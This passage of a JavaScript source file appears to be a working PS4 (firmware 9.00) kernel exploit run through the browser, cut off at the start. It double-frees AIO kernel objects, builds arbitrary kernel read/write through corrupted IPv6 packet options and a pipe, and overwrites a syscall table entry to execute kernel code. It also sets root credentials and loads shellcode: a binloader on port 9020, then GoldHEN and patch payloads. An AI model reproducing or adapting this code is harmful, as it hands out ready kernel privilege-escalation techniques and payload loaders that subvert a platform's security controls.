                log(`states[${req_idx}]: ${hex(states[0])}`);
                for (let i = 0; i < num_sds; i++) {
                    const sd2 = sds[i];
                    get_rthdr(sd2, reqs2);
                    const done = reqs2[reqs3_off + 0xc];
                    if (done) {
                        hexdump(reqs2);
                        sd = sd2;
                        sds.splice(i, 1);
                        free_rthdrs(sds);
                        sds.push(new_socket());
                        break;
                    }
                }
                if (sd === null) {
                    die("can't find sd that overwrote AIO queue entry");
                }
                log(`sd: ${sd}`);

                break loop;
            }
        }
    }
    if (req_id === null) {
        die('failed to overwrite AIO queue entry');
    }
    free_aios2(aio_ids_p, aio_ids_len);

    // enable deletion of target_id
    poll_aio(target_id, states);
    log(`target's state: ${hex(states[0])}`);

    const sce_errs = new View4([-1, -1]);
    const target_ids = new View4([req_id, target_id]);
    // PANIC: double free on the 0x100 malloc zone. important kernel data may
    // alias
    aio_multi_delete(target_ids.addr, 2, sce_errs.addr);

    // we reclaim first since the sanity checking here is longer which makes it
    // more likely that we have another process claim the memory
    try {
        // RESTORE: double freed memory has been reclaimed with harmless data
        // PANIC: 0x100 malloc zone pointers aliased
        const sd_pair = make_aliased_pktopts(sds);
        return [sd_pair, sd];
    } finally {
        log(`delete errors: ${hex(sce_errs[0])}, ${hex(sce_errs[1])}`);

        states[0] = -1;
        states[1] = -1;
        poll_aio(target_ids, states);
        log(`target states: ${hex(states[0])}, ${hex(states[1])}`);

        const SCE_KERNEL_ERROR_ESRCH = 0x80020003;
        let success = true;
        if (states[0] !== SCE_KERNEL_ERROR_ESRCH) {
            log('ERROR: bad delete of corrupt AIO request');
            success = false;
        }
        if (sce_errs[0] !== 0 || sce_errs[0] !== sce_errs[1]) {
            log('ERROR: bad delete of ID pair');
            success = false;
        }

        if (!success) {
            die('ERROR: double free on a 0x100 malloc zone failed');
        }
    }
}

// FUNCTIONS FOR STAGE: MAKE ARBITRARY KERNEL READ/WRITE

// k100_addr is double freed 0x100 malloc zone address
// dirty_sd is the socket whose rthdr pointer is corrupt
// kernel_addr is the address of the "evf cv" string
function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
    const psd = pktopts_sds[0];
    const tclass = new Word();
    const off_tclass = is_ps4 ? 0xb0 : 0xc0;

    const pktopts = new Buffer(0x100);
    const rsize = build_rthdr(pktopts, pktopts.size);
    const pktinfo_p = k100_addr.add(0x10);
    // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo
    pktopts.write64(0x10, pktinfo_p);

    log('overwrite main pktopts');
    let reclaim_sd = null;
    close(pktopts_sds[1]);
    for (let i = 0; i < num_alias; i++) {
        for (let i = 0; i < num_sds; i++) {
            // if a socket doesn't have a pktopts, setting the rthdr will make
            // one. the new pktopts might reuse the memory instead of the
            // rthdr. make sure the sockets already have a pktopts before
            pktopts.write32(off_tclass, 0x4141 | i << 16);
            set_rthdr(sds[i], pktopts, rsize);
        }

        gsockopt(psd, IPPROTO_IPV6, IPV6_TCLASS, tclass);
        const marker = tclass[0];
        if ((marker & 0xffff) === 0x4141) {
            log(`found reclaim sd at attempt: ${i}`);
            const idx = marker >>> 16;
            reclaim_sd = sds[idx];
            sds.splice(idx, 1);
            break;
        }
    }
    if (reclaim_sd === null) {
        die('failed to overwrite main pktopts');
    }

    const pktinfo = new Buffer(0x14);
    pktinfo.write64(0, pktinfo_p);
    const nhop = new Word();
    const nhop_p = nhop.addr;
    const read_buf = new Buffer(8);
    const read_buf_p = read_buf.addr;
    function kread64(addr) {
        const len = 8;
        let offset = 0;
        while (offset < len) {
            // pktopts.ip6po_nhinfo = addr + offset
            pktinfo.write64(8, addr.add(offset));
            nhop[0] = len - offset;

            ssockopt(psd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
            sysi(
                'getsockopt',
                psd, IPPROTO_IPV6, IPV6_NEXTHOP,
                read_buf_p.add(offset), nhop_p,
            );

            const n = nhop[0];
            if (n === 0) {
                read_buf[offset] = 0;
                offset += 1;
            } else {
                offset += n;
            }
        }
        return read_buf.read64(0);
    }

    log(`kread64(&"evf cv"): ${kread64(kernel_addr)}`);
    const kstr = jstr(read_buf);
    log(`*(&"evf cv"): ${kstr}`);
    if (kstr !== 'evf cv') {
        die('test read of &"evf cv" failed');
    }

    // Only For PS4 9.00

    const off_kstr = 0x7f6f27;
    const kbase = kernel_addr.sub(off_kstr);
    log(`kernel base: ${kbase}`);

    log('\nmaking arbitrary kernel read/write');
    const cpuid = 7 - main_core;
    const off_cpuid_to_pcpu = 0x21ef2a0;
    const pcpu_p = kbase.add(off_cpuid_to_pcpu + cpuid*8);
    log(`cpuid_to_pcpu[${cpuid}]: ${pcpu_p}`);
    const pcpu = kread64(pcpu_p);
    log(`pcpu: ${pcpu}`);
    log(`cpuid: ${kread64(pcpu.add(0x30)).hi}`);
    // __pcpu[cpuid].pc_curthread
    const td = kread64(pcpu);
    log(`td: ${td}`);

    const off_td_proc = 8;
    const proc = kread64(td.add(off_td_proc));
    log(`proc: ${proc}`);
    const pid = sysi('getpid');
    log(`our pid: ${pid}`);
    const pid2 = kread64(proc.add(0xb0)).lo;
    log(`suspected proc pid: ${pid2}`);
    if (pid2 !== pid) {
        die('process not found');
    }

    const off_p_fd = 0x48;
    const p_fd = kread64(proc.add(off_p_fd));
    log(`proc.p_fd: ${p_fd}`);
    // curthread->td_proc->p_fd->fd_ofiles
    const ofiles = kread64(p_fd);
    log(`ofiles: ${ofiles}`);

    const off_p_ucred = 0x40;
    const p_ucred = kread64(proc.add(off_p_ucred));
    log(`p_ucred ${p_ucred}`);

    const pipes = new View4(2);
    sysi('pipe', pipes.addr);
    const pipe_file = kread64(ofiles.add(pipes[0] * 8));
    log(`pipe file: ${pipe_file}`);
    // ofiles[pipe_fd].f_data
    const kpipe = kread64(pipe_file);
    log(`pipe pointer: ${kpipe}`);

    const pipe_save = new Buffer(0x18); // sizeof struct pipebuf
    for (let off = 0; off < pipe_save.size; off += 8) {
        pipe_save.write64(off, kread64(kpipe.add(off)));
    }

    const main_sd = psd;
    const worker_sd = dirty_sd;

    const main_file = kread64(ofiles.add(main_sd * 8));
    log(`main sock file: ${main_file}`);
    // ofiles[sd].f_data
    const main_sock = kread64(main_file);
    log(`main sock pointer: ${main_sock}`);
    // socket.so_pcb (struct inpcb *)
    const m_pcb = kread64(main_sock.add(0x18));
    log(`main sock pcb: ${m_pcb}`);
    // inpcb.in6p_outputopts
    const m_pktopts = kread64(m_pcb.add(0x118));
    log(`main pktopts: ${m_pktopts}`);
    log(`0x100 malloc zone pointer: ${k100_addr}`);

    if (m_pktopts.ne(k100_addr)) {
        die('main pktopts pointer != leaked pktopts pointer');
    }

    // ofiles[sd].f_data
    const reclaim_sock = kread64(kread64(ofiles.add(reclaim_sd * 8)));
    log(`reclaim sock pointer: ${reclaim_sock}`);
    // socket.so_pcb (struct inpcb *)
    const r_pcb = kread64(reclaim_sock.add(0x18));
    log(`reclaim sock pcb: ${r_pcb}`);
    // inpcb.in6p_outputopts
    const r_pktopts = kread64(r_pcb.add(0x118));
    log(`reclaim pktopts: ${r_pktopts}`);

    // ofiles[sd].f_data
    const worker_sock = kread64(kread64(ofiles.add(worker_sd * 8)));
    log(`worker sock pointer: ${worker_sock}`);
    // socket.so_pcb (struct inpcb *)
    const w_pcb = kread64(worker_sock.add(0x18));
    log(`worker sock pcb: ${w_pcb}`);
    // inpcb.in6p_outputopts
    const w_pktopts = kread64(w_pcb.add(0x118));
    log(`worker pktopts: ${w_pktopts}`);

    // get restricted read/write with pktopts pair
    // main_pktopts.ip6po_pktinfo = &worker_pktopts.ip6po_pktinfo
    const w_pktinfo = w_pktopts.add(0x10);
    pktinfo.write64(0, w_pktinfo);
    pktinfo.write64(8, 0); // clear .ip6po_nexthop
    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);

    pktinfo.write64(0, kernel_addr);
    ssockopt(main_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
    gsockopt(worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, pktinfo);
    const kstr2 = jstr(pktinfo);
    log(`*(&"evf cv"): ${kstr2}`);
    if (kstr2 !== 'evf cv') {
        die('pktopts read failed');
    }
    log('achieved restricted kernel read/write');

    // in6_pktinfo.ipi6_ifindex must be 0 (or a valid interface index) when
    // using pktopts write. we can safely modify a pipe even with this limit so
    // we corrupt that instead for arbitrary read/write. pipe.pipe_map will be
    // clobbered with zeros but that's okay
    class KernelMemory {
        constructor(main_sd, worker_sd, pipes, pipe_addr) {
            this.main_sd = main_sd;
            this.worker_sd = worker_sd;
            this.rpipe = pipes[0];
            this.wpipe = pipes[1];
            this.pipe_addr = pipe_addr; // &pipe.pipe_buf
            this.pipe_addr2 = pipe_addr.add(0x10); // &pipe.pipe_buf.buffer
            this.rw_buf = new Buffer(0x14);
            this.addr_buf = new Buffer(0x14);
            this.data_buf = new Buffer(0x14);
            this.data_buf.write32(0xc, 0x40000000);
        }

        _verify_len(len) {
            if (!(Number.isInteger(len) && (0 <= len <= 0xffffffff))) {
                throw TypeError('len not a 32-bit unsigned integer');
            }
        }

        copyin(src, dst, len) {
            this._verify_len(len);
            const main = this.main_sd;
            const worker = this.worker_sd;
            const addr_buf = this.addr_buf;
            const data_buf = this.data_buf;

            addr_buf.write64(0, this.pipe_addr);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            data_buf.write64(0, 0);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

            addr_buf.write64(0, this.pipe_addr2);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            addr_buf.write64(0, dst);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            sysi('write', this.wpipe, src, len);
        }

        copyout(src, dst, len) {
            this._verify_len(len);
            const main = this.main_sd;
            const worker = this.worker_sd;
            const addr_buf = this.addr_buf;
            const data_buf = this.data_buf;

            addr_buf.write64(0, this.pipe_addr);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            data_buf.write32(0, 0x40000000);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, data_buf);

            addr_buf.write64(0, this.pipe_addr2);
            ssockopt(main, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            addr_buf.write64(0, src);
            ssockopt(worker, IPPROTO_IPV6, IPV6_PKTINFO, addr_buf);

            sysi('read', this.rpipe, dst, len);
        }

        _read(addr) {
            const buf = this.rw_buf;
            buf.write64(0, addr);
            buf.fill(0, 8);
            ssockopt(this.main_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
            gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
        }

        read32(addr) {
            this._read(addr);
            return this.rw_buf.read32(0);
        }

        read64(addr) {
            this._read(addr);
            return this.rw_buf.read64(0);
        }

        write32(addr, value) {
            this.rw_buf.write32(0, value);
            this.copyin(this.rw_buf.addr, addr, 4);
        }

        write64(addr, value) {
            this.rw_buf.write64(0, value);
            this.copyin(this.rw_buf.addr, addr, 8);
        }
    }
    const kmem = new KernelMemory(main_sd, worker_sd, pipes, kpipe);

    const kstr3_buf = new Buffer(8);
    kmem.copyout(kernel_addr, kstr3_buf.addr, kstr3_buf.size);
    const kstr3 = jstr(kstr3_buf);
    log(`*(&"evf cv"): ${kstr3}`);
    if (kstr3 !== 'evf cv') {
        die('pipe read failed');
    }
    log('achieved arbitrary kernel read/write');

    // RESTORE: clean corrupt pointer
     // pktopts.ip6po_rthdr = NULL
     //ABC Patch
     const off_ip6po_rthdr = 0x68;
     const r_rthdr_p = r_pktopts.add(off_ip6po_rthdr);
     const w_rthdr_p = w_pktopts.add(off_ip6po_rthdr);
     kmem.write64(r_rthdr_p, 0);
     kmem.write64(w_rthdr_p, 0);
     log('corrupt pointers cleaned');

    /*
    // REMOVE once restore kernel is ready for production
    // increase the ref counts to prevent deallocation
    kmem.write32(main_sock, kmem.read32(main_sock) + 1);
    kmem.write32(worker_sock, kmem.read32(worker_sock) + 1);
    // +2 since we have to take into account the fget_write()'s reference
    kmem.write32(pipe_file.add(0x28), kmem.read32(pipe_file.add(0x28)) + 2);*/
    
    return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
}

// FUNCTIONS FOR STAGE: PATCH KERNEL

async function get_patches(url) {
    const response = await fetch(url);
    if (!response.ok) {
        throw Error(
            `Network response was not OK, status: ${response.status}\n`
            + `failed to fetch: ${url}`);
    }
    return response.arrayBuffer();
}

// 9.00 supported only
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
    if (!is_ps4) {
        throw RangeError('PS5 kernel patching unsupported');
    }
    if (!(0x800 <= version < 0x900)) {
        throw RangeError('kernel patching unsupported');
    }

    log('change sys_aio_submit() to sys_kexec()');
    // sysent[661] is unimplemented so free for use
    const offset_sysent_661 = 0x1107f00;
    const sysent_661 = kbase.add(offset_sysent_661);
    const sy_narg = kmem.read32(sysent_661);
    const sy_call = kmem.read64(sysent_661.add(8));
    const sy_thrcnt = kmem.read32(sysent_661.add(0x2c));
    // .sy_narg = 6
    kmem.write32(sysent_661, 6);
    // .sy_call = gadgets['jmp qword ptr [rsi]']
    kmem.write64(sysent_661.add(8), kbase.add(0x4c7ad));
    // .sy_thrcnt = SY_THR_STATIC
    kmem.write32(sysent_661.add(0x2c), 1);

    log('add JIT capabilities');
    // TODO just set the bits for JIT privs
    // cr_sceCaps[0]
    kmem.write64(p_ucred.add(0x60), -1);
    // cr_sceCaps[1]
    kmem.write64(p_ucred.add(0x68), -1);

    const buf = await get_patches('./kpatch/900.elf');
    // FIXME handle .bss segment properly
    // assume start of loadable segments is at offset 0x1000
    const patches = new View1(await buf, 0x1000);
    let map_size = patches.size;
    const max_size = 0x10000000;
    if (map_size > max_size) {
        die(`patch file too large (>${max_size}): ${map_size}`);
    }
    if (map_size === 0) {
        die('patch file size is zero');
    }
    map_size = map_size+page_size & -page_size;

    const prot_rwx = 7;
    const prot_rx = 5;
    const prot_rw = 3;
    const exec_p = new Int(0, 9);
    const write_p = new Int(max_size, 9);
    const exec_fd = sysi('jitshm_create', 0, map_size, prot_rwx);
    const write_fd = sysi('jitshm_alias', exec_fd, prot_rw);

    const exec_addr = chain.sysp(
        'mmap',
        exec_p,
        map_size,
        prot_rx,
        MAP_SHARED|MAP_FIXED,
        exec_fd,
        0,
    );
    const write_addr = chain.sysp(
        'mmap',
        write_p,
        map_size,
        prot_rw,
        MAP_SHARED|MAP_FIXED,
        write_fd,
        0,
    );

    log(`exec_addr: ${exec_addr}`);
    log(`write_addr: ${write_addr}`);
    if (exec_addr.ne(exec_p) || write_addr.ne(write_p)) {
        die('mmap() for jit failed');
    }

    log('mlock exec_addr for kernel exec');
    sysi('mlock', exec_addr, map_size);

    // mov eax, 0x1337; ret (0xc300_0013_37b8)
    const test_code = new Int(0x001337b8, 0xc300);
    write_addr.write64(0, test_code);

    log('test jit exec');
    sys_void('kexec', exec_addr);
    let retval = chain.errno;
    log('returned successfully');

    log(`jit retval: ${retval}`);
    if (retval !== 0x1337) {
        die('test jit exec failed');
    }

    const pipe_save = restore_info[1];
    restore_info[1] = pipe_save.addr;
    log('mlock pipe save data for kernel restore');
    sysi('mlock', restore_info[1], page_size);

    mem.cpy(write_addr, patches.addr, patches.size);
    sys_void('kexec', exec_addr, ...restore_info);

    log('setuid(0)');
    sysi('setuid', 0);
    log('kernel exploit succeeded!');
    log('restore sys_aio_submit()');
    kmem.write32(sysent_661, sy_narg);
    // .sy_call = gadgets['jmp qword ptr [rsi]']
    kmem.write64(sysent_661.add(8), sy_call);
    // .sy_thrcnt = SY_THR_STATIC
    kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
    localStorage.ExploitLoaded="yes"
    sessionStorage.ExploitLoaded="yes";
   //alert("kernel exploit succeeded!");
}



// FUNCTIONS FOR STAGE: SETUP

function setup(block_fd) {
    // this part will block the worker threads from processing entries so that
    // we may cancel them instead. this is to work around the fact that
    // aio_worker_entry2() will fdrop() the file associated with the aio_entry
    // on ps5. we want aio_multi_delete() to call fdrop()
    log('block AIO');
    const reqs1 = new Buffer(0x28 * num_workers);
    const block_id = new Word();

    for (let i = 0; i < num_workers; i++) {
        reqs1.write32(8 + i*0x28, 1);
        reqs1.write32(0x20 + i*0x28, block_fd);
    }
    aio_submit_cmd(AIO_CMD_READ, reqs1.addr, num_workers, block_id.addr);

    log('heap grooming');
    // chosen to maximize the number of 0x80 malloc allocs per submission
    const num_reqs = 3;
    const groom_ids = new View4(num_grooms);
    const groom_ids_p = groom_ids.addr;
    const greqs = make_reqs1(num_reqs);
    // allocate enough so that we start allocating from a newly created slab
    spray_aio(num_grooms, greqs.addr, num_reqs, groom_ids_p, false);
    cancel_aios(groom_ids_p, num_grooms);        
    return [block_id, groom_ids];
}

function runBinLoader() {
    var payload_buffer = chain.sysp('mmap', 0x0, 0x300000, 0x7, 0x1000, 0xFFFFFFFF, 0);
    var payload_loader = malloc32(0x1000);
    var BLDR = payload_loader.backing;
    BLDR[0]  = 0x56415741;  BLDR[1]  = 0x83485541;  BLDR[2]  = 0x894818EC;
    BLDR[3]  = 0xC748243C;  BLDR[4]  = 0x10082444;  BLDR[5]  = 0x483C2302;
    BLDR[6]  = 0x102444C7;  BLDR[7]  = 0x00000000;  BLDR[8]  = 0x000002BF;
    BLDR[9]  = 0x0001BE00;  BLDR[10] = 0xD2310000;  BLDR[11] = 0x00009CE8;
    BLDR[12] = 0xC7894100;  BLDR[13] = 0x8D48C789;  BLDR[14] = 0xBA082474;
    BLDR[15] = 0x00000010; BLDR[16] = 0x000095E8;  BLDR[17] = 0xFF894400;
    BLDR[18] = 0x000001BE; BLDR[19] = 0x0095E800;  BLDR[20] = 0x89440000;
    BLDR[21] = 0x31F631FF; BLDR[22] = 0x0062E8D2;  BLDR[23] = 0x89410000;
    BLDR[24] = 0x2C8B4CC6;  BLDR[25] = 0x45C64124;  BLDR[26] = 0x05EBC300;
    BLDR[27] = 0x01499848; BLDR[28] = 0xF78944C5; BLDR[29] = 0xBAEE894C;
    BLDR[30] = 0x00001000; BLDR[31] = 0x000025E8; BLDR[32] = 0x7FC08500;
    BLDR[33] = 0xFF8944E7; BLDR[34] = 0x000026E8; BLDR[35] = 0xF7894400;
    BLDR[36] = 0x00001EE8; BLDR[37] = 0x2414FF00; BLDR[38] = 0x18C48348;
    BLDR[39] = 0x5E415D41; BLDR[40] = 0x31485F41; BLDR[41] = 0xC748C3C0;
    BLDR[42] = 0x000003C0; BLDR[43] = 0xCA894900; BLDR[44] = 0x48C3050F;
    BLDR[45] = 0x0006C0C7; BLDR[46] = 0x89490000; BLDR[47] = 0xC3050FCA;
    BLDR[48] = 0x1EC0C748; BLDR[49] = 0x49000000; BLDR[50] = 0x050FCA89;
    BLDR[51] = 0xC0C748C3; BLDR[52] = 0x00000061; BLDR[53] = 0x0FCA8949;
    BLDR[54] = 0xC748C305; BLDR[55] = 0x000068C0; BLDR[56] = 0xCA894900;
    BLDR[57] = 0x48C3050F; BLDR[58] = 0x006AC0C7; BLDR[59] = 0x89490000;
    BLDR[60] = 0xC3050FCA;

    chain.sys('mprotect', payload_loader, 0x4000, (0x1 | 0x2 | 0x4));

    var pthread = malloc(0x10);
    sysi('mlock', payload_buffer, 0x300000);

    call_nze(
        'pthread_create',
        pthread,
        0,
        payload_loader,
        payload_buffer
    );

    log('BinLoader is ready. Send a payload to port 9020 now');
}

// overview:
// * double free a aio_entry (resides at a 0x80 malloc zone)
// * type confuse a evf and a ip6_rthdr
// * use evf/rthdr to read out the contents of the 0x80 malloc zone
// * leak a address in the 0x100 malloc zone
// * write the leaked address to a aio_entry
// * double free the leaked address
// * corrupt a ip6_pktopts for restricted r/w
// * corrupt a pipe for arbitrary r/w
//
// the exploit implementation also assumes that we are pinned to one core
export async function kexploit() {
    const _init_t1 = performance.now();
    await init();
    const _init_t2 = performance.now();

     try {
        chain.sys('setuid', 0);
        }
    catch (e) {
        localStorage.ExploitLoaded = "no";
    }
    
     if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded!="yes") {
           runBinLoader();
            return new Promise(() => {});
      }
 
    // fun fact:
    // if the first thing you do since boot is run the web browser, WebKit can
    // use all the cores
    const main_mask = new Long();
    get_our_affinity(main_mask);
    log(`main_mask: ${main_mask}`);

    // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
    // spraying and grooming easier
    log(`pinning process to core #${main_core}`);
    set_our_affinity(new Long(1 << main_core));
    get_our_affinity(main_mask);
    log(`main_mask: ${main_mask}`);

    log("setting main thread's priority");
    sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);

    const [block_fd, unblock_fd] = (() => {
        const unix_pair = new View4(2);
        sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
        return unix_pair;
    })();

    const sds = [];
    for (let i = 0; i < num_sds; i++) {
        sds.push(new_socket());
    }

    let block_id = null;
    let groom_ids = null;
    try {
        log('STAGE: Setup');
        [block_id, groom_ids] = setup(block_fd);

        log('\nSTAGE: Double free AIO queue entry');
        const sd_pair = double_free_reqs2(sds);

        log('\nSTAGE: Leak kernel addresses');
        const [
            reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,
        ] = leak_kernel_addrs(sd_pair);

        log('\nSTAGE: Double free SceKernelAioRWRequest');
        const [pktopts_sds, dirty_sd] = double_free_reqs1(
            reqs1_addr, kbuf_addr, target_id, evf, sd_pair[0], sds,
        );

        log('\nSTAGE: Get arbitrary kernel read/write');
        const [kbase, kmem, p_ucred, restore_info] = make_kernel_arw(
            pktopts_sds, dirty_sd, reqs1_addr, kernel_addr, sds);

        log('\nSTAGE: Patch kernel');
        await patch_kernel(kbase, kmem, p_ucred, restore_info);
        
    } finally {
        close(unblock_fd);

        const t2 = performance.now();
        const ftime = t2 - t1;
        const init_time = _init_t2 - _init_t1;
        log('\ntime (include init): ' + (ftime) / 1000);
        log('kex time: ' + (t2 - _init_t2) / 1000);
        log('init time: ' + (init_time) / 1000);
        log('time to init: ' + (_init_t1 - t1) / 1000);
        log('time - init time: ' + (ftime - init_time) / 1000);
    }
    close(block_fd);
    free_aios2(groom_ids.addr, groom_ids.length);
    aio_multi_wait(block_id.addr, 1);
    aio_multi_delete(block_id.addr, block_id.length);
    for (const sd of sds) {
        close(sd);
    }
}


function malloc(sz) {
    var backing = new Uint8Array(0x10000 + sz);
    nogc.push(backing);
    var ptr = mem.readp(mem.addrof(backing).add(0x10));
    ptr.backing = backing;
    return ptr;
}

function malloc32(sz) {
    var backing = new Uint8Array(0x10000 + sz * 4);
    nogc.push(backing);
    var ptr = mem.readp(mem.addrof(backing).add(0x10));
    ptr.backing = new Uint32Array(backing.buffer);
    return ptr;
}
function array_from_address(addr, size) {
   var og_array = new Uint32Array(0x1000);
    var og_array_i = mem.addrof(og_array).add(0x10);
    mem.write64(og_array_i, addr);
    mem.write32(og_array_i.add(0x8), size);
    mem.write32(og_array_i.add(0xC), 0x1);
    nogc.push(og_array);
    return og_array;
}

function PayloadLoader(Pfile)
{
    var loader_addr = chain.sysp(
  'mmap',
  new Int(0, 0),                         
  0x1000,                               
  PROT_READ | PROT_WRITE | PROT_EXEC,    
  0x41000,                              
  -1,
  0
);

 var tmpStubArray = array_from_address(loader_addr, 1);
 tmpStubArray[0] = 0x00C3E7FF;

 var req = new XMLHttpRequest();
 req.responseType = "arraybuffer";
 req.open('GET',Pfile);
 req.send();
 req.onreadystatechange = function () {
  if (req.readyState == 4) {
   var PLD = req.response;
   var payload_buffer = chain.sysp('mmap', 0, 0x300000, 7, 0x41000, -1, 0);
   var pl = array_from_address(payload_buffer, PLD.byteLength*4);
   var padding = new Uint8Array(4 - (req.response.byteLength % 4) % 4);
   var tmp = new Uint8Array(req.response.byteLength + padding.byteLength);
   tmp.set(new Uint8Array(req.response), 0);
   tmp.set(padding, req.response.byteLength);
   var shellcode = new Uint32Array(tmp.buffer);
   pl.set(shellcode,0);
   var pthread = malloc(0x10);
   
    call_nze(
        'pthread_create',
        pthread,
        0,
        loader_addr,
        payload_buffer,
    );	
   }
 };


}

kexploit().then(() => {

//Load ABC fix as a regular Payload
setTimeout(PayloadLoader("aio_patches.bin"),500);
log("AIO Fixes Applied.!");
//Load GoldHEN :)
setTimeout(PayloadLoader("goldhen.bin"),500);
log("GoldHEN Loaded.!");

})